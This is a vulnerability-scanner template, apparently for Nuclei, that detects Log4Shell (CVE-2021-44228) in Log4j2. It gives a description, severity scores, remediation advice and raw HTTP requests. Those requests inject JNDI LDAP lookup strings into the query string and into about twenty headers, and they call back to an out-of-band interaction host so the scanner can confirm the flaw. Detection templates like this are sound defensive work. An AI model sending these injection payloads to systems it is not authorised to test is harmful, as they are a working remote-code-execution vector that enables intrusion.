Effective vulnerability management starts with a better scanner

1id: CVE-2021-44228
2
3info:
4  name: Apache Log4j2 Remote Code Injection
5  author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea,j4vaovo
6  severity: critical
7  description: |
8    Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. 
9    An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
10  impact: |
11    Successful exploitation of this vulnerability can lead to remote code execution, potentially compromising the affected system.
12  remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
13  reference:
14    - https://logging.apache.org/log4j/2.x/security.html
15    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
16    - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
17    - https://www.lunasec.io/docs/blog/log4j-zero-day/
18    - https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
19  classification:
20    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
21    cvss-score: 10
22    cve-id: CVE-2021-44228
23    cwe-id: CWE-20,CWE-917
24    epss-score: 0.94381
25    epss-percentile: 0.99959
26    cpe: cpe:2.3:o:siemens:6bk1602-0aa12-0tp0_firmware:*:*:*:*:*:*:*:*
27  metadata:
28    max-request: 2
29    vendor: siemens
30    product: 6bk1602-0aa12-0tp0_firmware
31  tags: cve2021,cve,rce,oast,log4j,injection,kev,apache
32variables:
33  rand1: '{{rand_int(111, 999)}}'
34  rand2: '{{rand_int(111, 999)}}'
35http:
36  - raw:
37      - |
38        GET /?x=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
39        Host: {{Hostname}}
40      - |
41        GET / HTTP/1.1
42        Host: {{Hostname}}
43        Accept: application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accept.{{interactsh-url}}}
44        Accept-Encoding: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptencoding.{{interactsh-url}}}
45        Accept-Language: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptlanguage.{{interactsh-url}}}
46        Access-Control-Request-Headers: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
47        Access-Control-Request-Method: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
48        Authentication: Basic ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbasic.{{interactsh-url}}}
49        Authentication: Bearer ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbearer.{{interactsh-url}}}
50        Cookie: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookievalue.{{interactsh-url}}}
51        Location: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.location.{{interactsh-url}}}
52        Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.origin.{{interactsh-url}}}
53        Referer: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.referer.{{interactsh-url}}}
54        Upgrade-Insecure-Requests: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
55        User-Agent: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.useragent.{{interactsh-url}}}
56        X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}
57        X-CSRF-Token: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xcsrftoken.{{interactsh-url}}}
58        X-Druid-Comment: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xdruidcomment.{{interactsh-url}}}
59        X-Forwarded-For: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xforwardedfor.{{interactsh-url}}}
60        X-Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xorigin.{{interactsh-url}}}
61    stop-at-first-match: true
62    matchers-condition: and
63    matchers:
64      - type: word
65        part: interactsh_protocol
66        words:
67          - "dns"
68      - type: regex
69        part: interactsh_request
70        regex:
71          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
72    extractors:
73      - type: kval
74        kval:
75      - type: regex
76        group: 2
77        regex:
78          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
79        part: interactsh_request
80      - type: regex
81        group: 1
82        regex:
83          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
84        part: interactsh_request
85        # digest: 4a0a0047304502202884fb76d02d44ae24b3e9bc5914a20e89726f929f3a1472cb9ce81e16f6c7320221009fb4e79fd5e58f4a49ccbeff467c990c3be6e32a7e03a2af8db207849e937d5f:922c64590222798bb761d5b6d8e72950
86# digest: 4a0a0047304502204ecff69d0cf6eff10fa830187e3bb11859e75c1901f1be914ec81bc02e7a9d8b02210097c7eec83c3c4e92ced242dcf77aeba969817fd0c9306fbc099450473f23d99a:922c64590222798bb761d5b6d8e72950